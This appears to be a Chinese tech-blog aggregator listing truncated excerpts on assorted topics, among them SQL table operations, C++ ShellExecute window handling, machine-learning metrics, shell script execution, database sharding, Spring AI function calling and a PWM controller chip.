创建表,设置约束,修改表,删除表,表中数据的操作(insert,修改,删除) 1.在第5章习题创建的 “仓库库存”数据库中完成下列操作。 (1)创建“商品”表,表结构如表6-4: 表6-4 “goods”…...
C++中使用ShellExecute函数调用其他窗口程序时,参数设置为隐藏,后续能通过发消息给这个被调用程序显示,能显示出来窗口吗
文章目录 一、可行性分析二、实现步骤1. 启动程序并隐藏窗口2. 获取目标窗口句柄3. 发送消息显示窗口方法1:发送WM_SHOWWINDOW方法2:发送WM_SYSCOMMAND恢复窗口方法3:直接调用ShowWindow(推荐) 三、代码示例四、关键注…...
使用 AI 生成 页面
当前使用的是 火山引擎 提供的 deepseek-v3-241226 思考 如何让AI可以按自己的想法一步步生成页面? 我们要把要生成的内容分段的给到它,让它按步聚完成。 如生成一个列表页 依据所定义的接口。生成API依赖定义接口 生成 状态管理模块依赖上状态管理…...
【人工智能】机器学习中的评价指标
机器学习中的评价指标 在机器学习中,评估指标(Evaluation Metrics)是衡量模型性能的工具。选择合适的评估指标能够帮助我们更好地理解模型的效果以及它在实际应用中的表现。 一般来说,评估指标主要分为三大类:分类、…...
shell脚本运行方式 bash 和./区别
在 Linux 或 macOS 这类基于 Unix 的系统里,使用 ./ 运行脚本和使用 bash 运行脚本存在一些差异,下面为你详细说明: 1. 语法与使用方式 使用 ./ 运行脚本: 若要使用 ./ 来运行脚本,需要确保脚本文件具备可执行权限&a…...
ShardingSphere+达梦数据库分表操作
背景 随着数字经济时代的全面到来,数据量呈现爆炸式增长,传统单机数据库在性能、扩展性和可用性方面面临严峻挑战。分布式数据库技术应运而生,成为解决海量数据存储与处理的关键方案。在这一背景下,Apache ShardingSphere作为一款…...
WordPress上传图片时显示“未提供数据”错误
在WordPress中上传图片时显示“未提供数据”的错误,通常是由多种原因引起的,以下是一些常见的问题及其解决方法: 1. 文件权限问题 WordPress需要正确的文件和目录权限才能正常上传图片。如果权限设置不正确,可能会导致无法上传图…...
AP CSA FRQ Q2 Past Paper 五年真题汇总 2023-2019
Author(wechat): bigshuang2020 ap csa tutor, providing 1-on-1 tutoring. 国际教育计算机老师, 擅长答疑讲解,带学生实践学习。 热爱创作,作品:ap csa原创双语教案,真题梳理汇总, AP CSA FRQ专题冲刺, AP CSA MCQ小题…...
海量数据场景题--查找两个大文件的URL
查找两个大文件共同的URL 给定 a、b 两个文件,各存放 50 亿个 URL,每个 URL 各占 64B,找出 a、b 两个文件共同的 URL。内存限制是 4G。 操作逻辑: 使用哈希函数 hash(URL) % 1000 将每个URL映射到0-999的编号 文件A切割为a0, a1…...
Spring AI Alibaba 工具(Function Calling)使用
一、工具(Function Calling)简介 Spring AI Alibaba工具(Function Calling):https://java2ai.com/docs/1.0.0-M6.1/tutorials/function-calling/ 1、工具(Function Calling) “工具(Tool)”或“功能调用(Function Calling…...
汽车方向盘开关功能测试的技术解析
随着汽车智能化与电动化的发展,方向盘开关的功能日益复杂化,从传统的灯光、雨刷控制到智能语音、自动驾驶辅助等功能的集成,对开关的可靠性、耐久性及安全性提出了更高要求。本文结合北京沃华慧通测控技术有限公司(以下简称“慧通…...
9-100V输入替代CYT5030/LM5030高压双路电流模式PWM控制器
产品描述: PC3530高压 PWM 控制器包含实现推挽和桥式拓扑所需的所有功能,采用电流模式控制,提供两个交替栅极驱动器输出。PC3530内置高压启动稳压器,可在 9V~100V 的宽输入电压范围内工作。芯片内部还集成有误差放大器、精密基准、两级过流保…...